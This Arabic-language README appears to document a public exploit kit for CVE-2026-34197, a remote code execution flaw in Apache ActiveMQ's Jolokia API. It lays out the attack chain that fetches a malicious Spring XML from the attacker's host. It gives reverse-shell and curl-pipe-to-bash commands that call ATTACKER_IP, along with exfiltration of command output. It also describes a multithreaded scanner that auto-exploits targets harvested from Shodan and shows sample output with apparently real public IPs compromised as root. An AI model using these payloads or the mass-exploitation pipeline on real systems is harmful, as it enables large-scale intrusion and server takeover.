
استغلال لثغرة تنفيذ الأوامر عن بُعد (RCE) في Apache ActiveMQ عبر واجهة Jolokia API (CVE-2026-34197) مع التقاط مخرجات الأوامر، والمسح الجماعي، والاستغلال التلقائي.
نظرة عامة • التفاصيل • مسار الهجوم • بدء سريع • دليل ATTACKER_IP • الاستخدام • التقاط المخرجات • الماسح الضوئي • الاستطلاع • الكشف • المعالجة
CVE-2026-34197 هي ثغرة حرجة لتنفيذ الأوامر عن بُعد (RCE) في Apache ActiveMQ Classic تسمح لمهاجم مُصادَق بتنفيذ أوامر نظام تشغيل تعسفية عبر واجهة Jolokia API المكشوفة على وحدة التحكم الويب.
الثغرة موجودة منذ أكثر من 13 عامًا وتكمن في التفاعل بين Jolokia (جسر HTTP-JMX)، وMBeans الخاصة بـ ActiveMQ، وموصلات الشبكة، وناقل VM.
[!CAUTION] هذا هو أول PoC عام تم تطويره بواسطة KONDOR DEV SECURITY. استخدمه فقط في تقييمات أمنية مصرح بها.
id, whoami, cat /etc/passwd) تعرض مخرجاتها تلقائيًا في الطرفيةversion_check.py) — كشف الإصدار متعدد الخيوط + استغلال موجّه| معرف CVE | CVE-2026-34197 |
| الخطورة | |
| النوع | تنفيذ الأوامر عن بُعد (RCE) |
| CWE | CWE-20 (التحقق غير السليم من المدخلات) / CWE-94 (حقن الكود) |
| المتأثر | ActiveMQ Classic < 5.19.4 و 6.0.0 — 6.2.2 |
| المُصحَّح | 5.19.4 / 6.2.3 |
| المصادقة المطلوبة | نعم (بيانات الاعتماد الافتراضية admin:admin شائعة) |
| بدون مصادقة | 6.0.0 — 6.1.1 (بسبب CVE-2024-32114) |
| المنفذ الافتراضي | 8161 (وحدة التحكم الويب) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### تفصيل خطوة بخطوة
| الخطوة | الإجراء | المكوّن |
|:----:|--------|-----------|
| **1** | يرسل المهاجم طلب POST إلى `/api/jolokia/` يستدعي `addNetworkConnector` على Broker MBean | Jolokia API |
| **2** | يعالج ActiveMQ معرف النقل `vm://` وينشئ وسيطًا مؤقتًا مع `brokerConfig` يشير إلى عنوان URL بعيد | VM Transport |
| **3** | يؤدي مخطط `xbean:` إلى تنزيل ملف تكوين Spring XML من خادم المهاجم | Spring / XBean |
| **4** | يقوم Spring بإنشاء جميع الحبوب (beans) في ملف XML، بما في ذلك حبة تستدعي `Runtime.getRuntime().exec()` | Spring Context |
| **5** | بالنسبة للأوامر البسيطة، يتم التقاط المخرجات وإرسالها مرة أخرى عبر HTTP POST إلى مستمع المهاجم (تلقائيًا) | Output Capture |
---
## هيكل المشروع```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### بيئة المختبر (Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### الماسح الضوئي + الاستغلال التلقائي (موصى به للأهداف الجماعية)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP (-l / --lhost)المعامل -l (أو --lhost) بالغ الأهمية لكي يعمل الاستغلال. فهو يحدد عنوان IP الذي ستخدم منه جهازك حمولة Spring XML الخبيثة. يجب أن يكون خادم ActiveMQ المستهدف قادرًا على الوصول إلى هذا العنوان IP عبر الشبكة لتنزيل الحمولة.
ATTACKER_IP؟عندما يتم تشغيل الاستغلال، فإنه يخبر ActiveMQ: "قم بتنزيل إعداداتك من http://ATTACKER_IP:8888/payload.xml". بعد ذلك يقوم ActiveMQ بتقديم طلب HTTP صادر إلى جهازك. إذا لم يتمكن من الوصول إليك، يفشل الاستغلال بصمت.```
YOUR MACHINE TARGET (ActiveMQ)
──────────── ─────────────────
ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
(serves payload.xml) (downloads & executes)
### كيفية تحديد `ATTACKER_IP` الخاص بك
| السيناريو | كيفية العثور عليه | مثال |
|----------|---------------|---------|
| **نفس الشبكة المحلية (LAN)** (مختبر، اختبار اختراق داخلي) | عنوان IP المحلي/الخاص الخاص بك | `ip a` → `192.168.1.50` |
| **VPN** (HTB، THM، شبكة داخلية) | عنوان IP لنفق VPN الخاص بك | `ip a show tun0` → `10.10.14.23` |
| **هدف بعيد عبر الإنترنت** | عنوان IP العام الخاص بك | `curl ifconfig.me` → `203.0.113.42` |
| **خادم سحابي (VPS)** (الهجوم من خادم) | عنوان IP العام للخادم السحابي | تحقق من لوحة تحكم مزود الخدمة السحابية لديك |```bash
# Linux — find your IPs
ip -4 addr show # All interfaces
ip addr show tun0 # VPN interface (HTB/THM)
ip addr show eth0 # Ethernet / cloud
curl -s ifconfig.me # Public IP
# Windows
ipconfig # All interfaces
(Invoke-WebRequest ifconfig.me).Content # Public IP (PowerShell)
# macOS
ifconfig en0 # Wi-Fi
ifconfig utun0 # VPN
curl -s ifconfig.me # Public IP
| الخطأ | سبب الفشل | الحل |
|---|---|---|
استخدام 127.0.0.1 أو localhost | يحاول الهدف التنزيل من نفسه، وليس منك | استخدم عنوان IP الحقيقي لشبكتك |
استخدام عنوان IP خاص (192.168.x.x) لهدف على الإنترنت | لا يمكن للهدف التوجيه إلى شبكتك الخاصة | استخدم عنوان IP العام أو خادم VPS |
استخدام عنوان IP العام ولكن المنفذ 8888 محظور | جدار الحماية/NAT يرفض الاتصال الوارد من الهدف | افتح المنفذ 8888 في جدار الحماية/الموجه، أو استخدم -lp مع منفذ مفتوح |
استخدام عنوان IP للواجهة الخاطئة (مثل eth0 بدلاً من tun0) | لا يمكن للهدف الوصول إلى ذلك الجزء من الشبكة | طابق الواجهة التي لديها مسار إلى الهدف |
قبل تشغيل الاستغلال، تأكد من أن الهدف يمكنه الوصول إلى المستمع الخاص بك:```bash
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"
curl http://ATTACKER_IP:8888/
### إعادة توجيه المنافذ (سيناريوهات NAT)
إذا كنت خلف موجه/NAT وتهاجم هدفًا مواجهًا للإنترنت:```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues
# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP
# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit
sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT
sudo ufw allow 8888/tcp
New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow
### مثال على سير العمل الكامل```bash
# Step 1: Identify your IP
$ ip addr show tun0
inet 10.10.14.23/23 ...
# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
[+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]
# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444 # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
-c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1" # Terminal 2
[!IMPORTANT] يجب أن يكون
ATTACKER_IPفي-lوداخل أوامر الصدفة العكسية (/dev/tcp/ATTACKER_IP/4444) هو نفس عنوان IP الذي يمكن الوصول إليه. إذا استخدمت عنوان IP مختلفًا في أمر الصدفة العكسية، فستتصل الصدفة بالمكان الخاطئ.
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker
### المسح الشامل (أهداف متعددة)```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"
# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt
# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass
يجب أن يحتوي ملف targets.txt على عنوان URL واحد في كل سطر:```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
ميزات الفحص الشامل:
- **إزالة التكرار تلقائيًا** — تتم إزالة عناوين URL المكررة تلقائيًا
- **خادم HTTP واحد** — يبدأ خادم الحمولة مرة واحدة ويُعاد استخدامه لجميع الأهداف
- **التراجع عن المصادقة** — إذا فشلت بيانات الاعتماد (401)، تتم إعادة المحاولة تلقائيًا بدون مصادقة (CVE-2024-32114)
- **أسماء موصلات عشوائية** — يتجنب تعارضات تسجيل JMX بين الأهداف
- **حفظ تدريجي** — يتم حفظ الأهداف الضعيفة فورًا (آمن للاستخدام مع Ctrl+C)
- **دعم HTTPS** — يعمل مع أهداف HTTP وHTTPS على حد سواء
### الصدف العكسية
الصدف العكسية والأوامر التي تحتوي على أحرف خاصة (`>`, `&`, `|`, `;`, `$`, إلخ.) يتم **ترميزها تلقائيًا بـ base64** لتجنب مشاكل الهروب في XML/الصدفة.```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "curl http://ATTACKER_IP/shell.sh | bash"
# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
ملاحظة: ابدأ المستمع الخاص بك قبل تشغيل الاستغلال:
nc -lvnp 4444
يمكن لكل من exploit.py و version_check.py التقاط وعرض مخرجات الأوامر تلقائيًا للأوامر البسيطة مثل id، whoami، cat /etc/passwd، hostname، وما إلى ذلك.
عند تشغيل أمر بسيط، يقوم الاستغلال تلقائيًا بتغليفه لإرسال stdout/stderr مرة أخرى إلى المستمع الخاص بك عبر HTTP POST:``` YOUR MACHINE (ATTACKER_IP:8888) TARGET (ActiveMQ) ─────────────────────────────── ─────────────────
(payload served) Executes wrapped command:
OUTPUT=$(id 2>&1)
curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
Displays: "uid=0(root) gid=0(root)..."
#### مثال مع المخرجات```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
[*] Target: http://10.129.45.67:8161
[*] Command: id
[*] Output: capture enabled (will POST back to listener)
[*] Broker: localhost
[*] Auth: admin
[*] Sending request to Jolokia...
[+] Jolokia accepted the operation (status=200)
[*] Waiting for the target to download the payload...
[+] Payload served to 10.129.45.67
[+] Target downloaded the payload. Command executed.
[*] Waiting for command output...
[+] Command output received:
──────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────
| نوع الأمر | مثال | السلوك |
|---|---|---|
| أوامر بسيطة | id, whoami, cat /etc/passwd, ls -la, uname -a | يتم التقاط المخرجات وعرضها تلقائيًا |
| قذائف عكسية | bash -i >& /dev/tcp/..., nc ... -e /bin/sh, mkfifo... | يتم اكتشافها كتفاعلية — بدون تغليف، تعمل كما كانت سابقًا |
| أوامر تستخدم curl/wget | curl http://..., wget http://... | يتم اكتشافها كتفاعلية — بدون تغليف، لتجنب التداخل |
الكشف تلقائي. لا تحتاج إلى تمرير أي علامات إضافية.
يتطلب التقاط المخرجات وجود curl أو wget على النظام الهدف. إذا لم يتوفر أي منهما:
[!TIP] معظم أنظمة Linux (وصور ActiveMQ Docker) تحتوي على
curlمثبتًا مسبقًا. إذا انتهت مهلة التقاط المخرجات ولكن تم تأكيد RCE، فمن المرجح أن الهدف يفتقر إلى كل منcurlوwget.
| العلامة | الوصف | الافتراضي |
|---|---|---|
-t, --target | عنوان URL هدف واحد | — |
-T, --targets-file | ملف يحتوي على عناوين URL للأهداف (واحد لكل سطر) | — |
-l, --lhost | عنوان IP للمهاجم لخدمة الحمولة | مطلوب |
-lp, --lport | منفذ خادم HTTP المحلي | 8888 |
-c, --command | أمر نظام التشغيل للتنفيذ | مطلوب |
-u, --user | اسم مستخدم Jolokia | admin |
-p, --password | كلمة مرور Jolokia | admin |
--no-auth | تخطي المصادقة | false |
--broker-name | تجاوز اسم الوسيط | كشف تلقائي |
-o, --output | ملف الإخراج للأهداف الضعيفة | vulnerables.txt |
--timeout-wait | ثوانٍ للانتظار لتنزيل الحمولة | 15 |
ملاحظة:
-tو-Tمتنافيان. استخدم أحدهما فقط.
version_check.py)الأداة الموصى بها للأهداف المتعددة. خط أنابيب من مرحلتين يكتشف أولاً إصدارات ActiveMQ عبر جميع الأهداف (سريع، متعدد الخيوط)، ثم يستغل تلقائيًا الأهداف الضعيفة فقط مع التحقق الفعلي من RCE عبر استدعاء الحمولة.
version_check.py مقابل exploit.py| السيناريو | الأداة | السبب |
|---|---|---|
| لديك قائمة أهداف وتريد معرفة أيها ضعيف | version_check.py | يفحص الإصدارات أولاً (سريع)، ثم يستغل الأهداف الضعيفة فقط |
| تريد الفحص دون استغلال (استطلاع فقط) | version_check.py | احذف -l/-c لوضع الفحص فقط |
| لديك هدف واحد مؤكد | exploit.py | أبسط، استغلال مباشر |
| تريد استغلال مضيف محدد الآن | exploit.py | بدون عبء الفحص |
| لديك أكثر من 100 هدف من Shodan/LeakIX | version_check.py | المرحلة الأولى متعددة الخيوط تتعامل مع القوائم الكبيرة في ثوانٍ |
┌─────────────────────────────────────────────────────────┐ │ PHASE 1 — Version Detection (fast, multithreaded) │ │ │ │ targets.txt ──→ 10 threads query Jolokia in parallel │ │ GET .../BrokerVersion │ │ │ │ For each target: │ │ 1. Try auth (admin:admin) │ │ 2. If 401 → retry without auth (CVE-2024-32114) │ │ 3. If brokerName=localhost fails → try wildcard (*) │ │ 4. Extract: version, real broker name, working auth │ │ 5. Classify: [VULNERABLE] or [PATCHED] │ │ │ │ Output: list of vulnerable candidates with metadata │ └──────────────────────┬──────────────────────────────────┘ │ only vulnerable targets ▼ ┌─────────────────────────────────────────────────────────┐ │ PHASE 2 — RCE Verification (sequential, with callback) │ │ (only runs if -l and -c are provided) │ │ │ │ For each vulnerable target: │ │ 1. Generate Spring XML payload with command │ │ 2. Send addNetworkConnector via Jolokia │ │ 3. Wait for target to download payload (callback) │ │ 4. If callback received → RCE CONFIRMED │ │ │ │ Output: confirmados.txt with RCE-confirmed targets │ └─────────────────────────────────────────────────────────┘
### منطق تصنيف الإصدارات
يقوم الماسح بتصنيف الإصدارات تلقائيًا بناءً على النطاقات المتأثرة:
| الإصدار | التصنيف |
|---------|---------------|
| `< 5.19.4` (مثل: 5.15.9, 5.18.6) | `[VULNERABLE]` |
| `>= 5.19.4` (مثل: 5.19.4, 5.20.0) | `[PATCHED]` |
| `6.0.0` حتى `6.2.2` | `[VULNERABLE]` |
| `>= 6.2.3` | `[PATCHED]` |
### دليل الاستخدام خطوة بخطوة
#### الخطوة 1 — إعداد ملف الأهداف
أنشئ ملف `targets.txt` مع عنوان URL واحد في كل سطر. تتم إزالة التكرارات تلقائيًا.```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161
[!TIP] استخدم أدلة الصيد للعثور على الأهداف عبر Shodan أو LeakIX أو FOFA أو Censys أو Google Dorks.
إذا كنت تريد فقط تحديد الأهداف المعرضة للخطر دون استغلالها، فاحذف -l و -c:```bash
python version_check.py -T targets.txt
هذا يشغّل **المرحلة 1 فقط**. لا يتم تشغيل خادم HTTP، ولا يتم إرسال حمولات، ولا يتم تنفيذ أوامر. سيحتوي ملف الإخراج على معلومات الإصدار لكل هدف معرّض للخطر:```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker
يمكنك زيادة سرعة الفحص باستخدام المزيد من الخيوط:```bash python version_check.py -T targets.txt --threads 20
#### الخطوة 3 — الفحص + الاستغلال التلقائي (خط أنابيب كامل)
للفحص **والاستغلال** في تشغيل واحد، أضف `-l` (عنوان ATTACKER_IP الخاص بك) و `-c` (الأمر):```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
يقوم هذا بتشغيل المرحلتين:
[VULNERABLE] (تسلسلية، مع التحقق من الاستجابة)[!IMPORTANT] يجب أن يكون
ATTACKER_IPقابلًا للوصول من الأهداف. سيقوم خادم ActiveMQ المستهدف بإجراء طلب HTTP صادر إلىhttp://ATTACKER_IP:8888/payload.xml. راجع دليل ATTACKER_IP للحصول على تفاصيل حول اختيار عنوان IP الصحيح.
يتم حفظ الأهداف المؤكدة كقابلة للاستغلال بشكل تدريجي في ملف الإخراج (الافتراضي: confirmados.txt):```
http://52.234.160.12:8161 | 5.15.9 | admin
`URL | الإصدار | طريقة المصادقة`. يمكنك بعد ذلك استخدام كل منها على حدة مع `exploit.py` لمزيد من مرحلة ما بعد الاستغلال.
### أمثلة على الاستخدام```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt
# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20
# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999
# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
# nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth
# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30
# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
--threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt
ATTACKER_IP في version_check.pyتتصرف المعلمة -l تمامًا كما في exploit.py، ولكن مع اختلاف جوهري واحد: يتم تشغيل خادم HTTP مرة واحدة وإعادة استخدامه عبر جميع الأهداف في المرحلة الثانية.```
YOUR MACHINE (ATTACKER_IP) TARGETS
────────────────────────── ───────
HTTP server on :8888 Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888
(started once, reused) Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888
Target 3 (v6.2.3) ──→ [PATCHED, skipped]
**المرحلة 1 لا تتطلب `ATTACKER_IP`** — فهي تستعلم فقط عن Jolokia للحصول على معلومات الإصدار. يمكنك تشغيل المرحلة 1 وحدها للاستطلاع دون كشف عنوان IP الخاص بك.
**المرحلة 2 تتطلب `ATTACKER_IP`** — يجب أن تصل الأهداف إلى خادم HTTP الخاص بك لتنزيل الحمولة. إذا لم يتمكن هدف من الوصول إليك، فسينتهي المهلة (الافتراضي: 15 ثانية) ويُعلَّم بأنه "لم يتم استلام رد اتصال" — لكن هذا لا يعني بالضرورة أنه غير قابل للاستغلال (قد تمنع جدران الحماية حركة المرور الصادرة).
### المعاملات
| العلم | الوصف | الافتراضي |
|------|-------------|---------|
| `-T, --targets-file` | ملف يحتوي على عناوين URL للأهداف (واحد في كل سطر) | *مطلوب* |
| `-l, --lhost` | عنوان IP للمهاجم لاستقبال رد الاتصال (يفعّل المرحلة 2) | — |
| `-c, --command` | الأمر المراد تنفيذه (يفعّل المرحلة 2) | — |
| `-lp, --lport` | منفذ خادم HTTP المحلي | `8888` |
| `-o, --output` | ملف الإخراج للأهداف المؤكدة | `confirmados.txt` |
| `-u, --user` | اسم مستخدم Jolokia | `admin` |
| `-p, --password` | كلمة مرور Jolokia | `admin` |
| `--no-auth` | تخطي المصادقة | `false` |
| `--threads` | الخيوط المتزامنة للمرحلة 1 | `10` |
| `--timeout` | مهلة كل طلب في المرحلة 1 | `10s` |
| `--wait` | ثوانٍ الانتظار لرد الاتصال في المرحلة 2 | `15s` |
> **ملاحظة:** يجب توفير كل من `-l` و `-c` معًا لتفعيل المرحلة 2. إذا كان أي منهما مفقودًا، فسيتم تشغيل المرحلة 1 فقط (الفحص).
### الميزات
- **خط أنابيب من مرحلتين** — فحص سريع للإصدار أولاً، ثم استغلال موجّه
- **المرحلة 1 متعددة الخيوط** — تفحص مئات الأهداف في ثوانٍ
- **كشف ذكي للوسيط** — يتعامل مع استجابات أحرف البدل `brokerName=*`، ويستخرج اسم الوسيط الحقيقي من مفاتيح MBean
- **تراجع المصادقة** — إذا فشل `admin:admin` (401)، يعيد المحاولة بدون مصادقة (CVE-2024-32114)
- **أسماء موصلات عشوائية** — يتجنب تعارضات JMX (`rce{random8}` فريد لكل هدف)
- **تغليف base64 تلقائي** — قذائف عكسية وأحرف خاصة تعمل مباشرة دون إعدادات إضافية
- **حفظ تدريجي** — يتم حفظ الأهداف المؤكدة فورًا (آمن للضغط على Ctrl+C أثناء الفحص)
- **وضع الفحص فقط** — احذف `-l`/`-c` لاكتشاف الإصدارات فقط دون استغلال
- **تصنيف الإصدارات** — يعلّم `[VULNERABLE]` / `[PATCHED]` بناءً على النطاقات المتأثرة
- **خادم HTTP واحد** — يُبدأ مرة واحدة في المرحلة 2، ويُعاد استخدامه لجميع الأهداف (بدون تعارضات منافذ)
### القذائف العكسية مع `version_check.py`
عند استخدام `version_check.py` لإرسال قذيفة عكسية، تحتاج إلى **شيئين يعملان في وقت واحد**:
1. **مستمع netcat** على جهازك بانتظار اتصال القذيفة الواردة
2. **أمر version_check.py** الذي يفحص الأهداف ويستغلها
يجب أن **يطابق** منفذ المستمع (`nc -lvnp PORT`) **المنفذ** داخل أمر القذيفة العكسية (`/dev/tcp/ATTACKER_IP/PORT`).```
YOUR MACHINE (ATTACKER_IP)
──────────────────────────
Terminal 1: nc -lvnp 4444 ◄── Listening for reverse shell on port 4444
Terminal 2: version_check.py ... ──► Scans targets, exploits vulnerable ones
└─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
▲
TARGET (ActiveMQ) │
───────────────── │
Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘
nc -lvnp 4444
python version_check.py -T targets.txt -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
#### استخدام منفذ مختلف
يمكنك استخدام أي منفذ تريده، طالما أن كلا الطرفين متطابقان:```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001
# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
> [!WARNING]
> **تجنب الخلط بين المنافذ:** يستغل الثغرة **منفذين مختلفين** لغرضين مختلفين:
> - `-lp` (الافتراضي `8888`) — منفذ خادم HTTP حيث يقوم ActiveMQ بتنزيل حمولة XML. يتم التعامل مع هذا تلقائيًا بواسطة السكربت.
> - المنفذ داخل `/dev/tcp/.../4444` — منفذ استدعاء الصدفة العكسية حيث تستمع أنت باستخدام `nc`. هذا هو مسؤوليتك لفتحه.
>
> هذان المنفذان **مستقلان**. لا تخلط بينهما. تحتاج إلى `nc -lvnp 4444` للصدفة، والسكربت يتعامل مع `:8888` داخليًا.
### مثال على الإخراج```
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit ║
║ Phase 1: Version Detection (fast, multithreaded) ║
║ Phase 2: RCE Verification (exploit + callback) ║
║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║
╚═══════════════════════════════════════════════════════════╝
[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id
════════════════════════════════════════════════════════════
PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════
[+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
[+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
[+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
[-] [4/124] http://167.172.150.143:8161 → 401
[-] [5/124] http://198.44.176.205:8161 → Connection refused
[*] Phase 1 complete: 3 with version, 3 vulnerable by version
════════════════════════════════════════════════════════════
PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════
[+] HTTP server on 0.0.0.0:8888
[1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 52.234.160.12
[+] Command output:
──────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)
[2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[*] No callback received within 15s
[3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 146.190.139.20
[+] Command output:
──────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)
════════════════════════════════════════════════════════════
FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned: 124
[*] Version detected: 3
[*] Vulnerable by version: 3
[+] RCE CONFIRMED: 2
[+] Saved to: confirmed.txt
✓ http://52.234.160.12:8161 | v5.15.9 | admin
✓ http://146.190.139.20:8161 | v5.15.6 | admin
| نتيجة المرحلة 2 | ماذا تعني | الخطوة التالية |
|---|---|---|
RCE CONFIRMED + Command output: | نفّذ الهدف الأمر وأرسل الناتج مرة أخرى | نجاح كامل — يمكنك رؤية الناتج مباشرة |
RCE CONFIRMED (بدون ناتج) | قام الهدف بتنزيل الحمولة لكن لم يتم استلام أي ناتج | RCE يعمل، لكن curl/wget قد يكونان مفقودين على الهدف؛ استخدم قشرة عكسية |
No callback received within Ns | لم يصل الهدف إلى خادم HTTP الخاص بك في الوقت المحدد | تحقق من إمكانية الوصول إلى ATTACKER_IP، أو جدران الحماية، أو قم بزيادة --wait |
Jolokia accepted (status=200) | عالج Jolokia الطلب بنجاح | علامة جيدة — انتظر الاستدعاء |
Jolokia status=500: ... | أرجعت Jolokia خطأً | قد يظل يعمل (يمكن أن يحدث تنزيل XML على الرغم من 500)؛ تحقق من السجلات |
HTTP 401 | فشل المصادقة لهذا الهدف | يحتاج الهدف إلى بيانات اعتماد مختلفة |
HTTP 403 | Jolokia مقيد | الهدف لديه قوائم تحكم بالوصول (ACLs) — غير قابل للاستغلال بهذه الطريقة |
Connection refused / Timeout | الهدف غير قابل للوصول | مشكلة في الشبكة أو الهدف معطل |
shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt
awk '{print "http://"$1}' raw_targets.txt > targets.txt
python version_check.py -T targets.txt --threads 20
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
nc -lvnp 4444 # Terminal 1
python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP
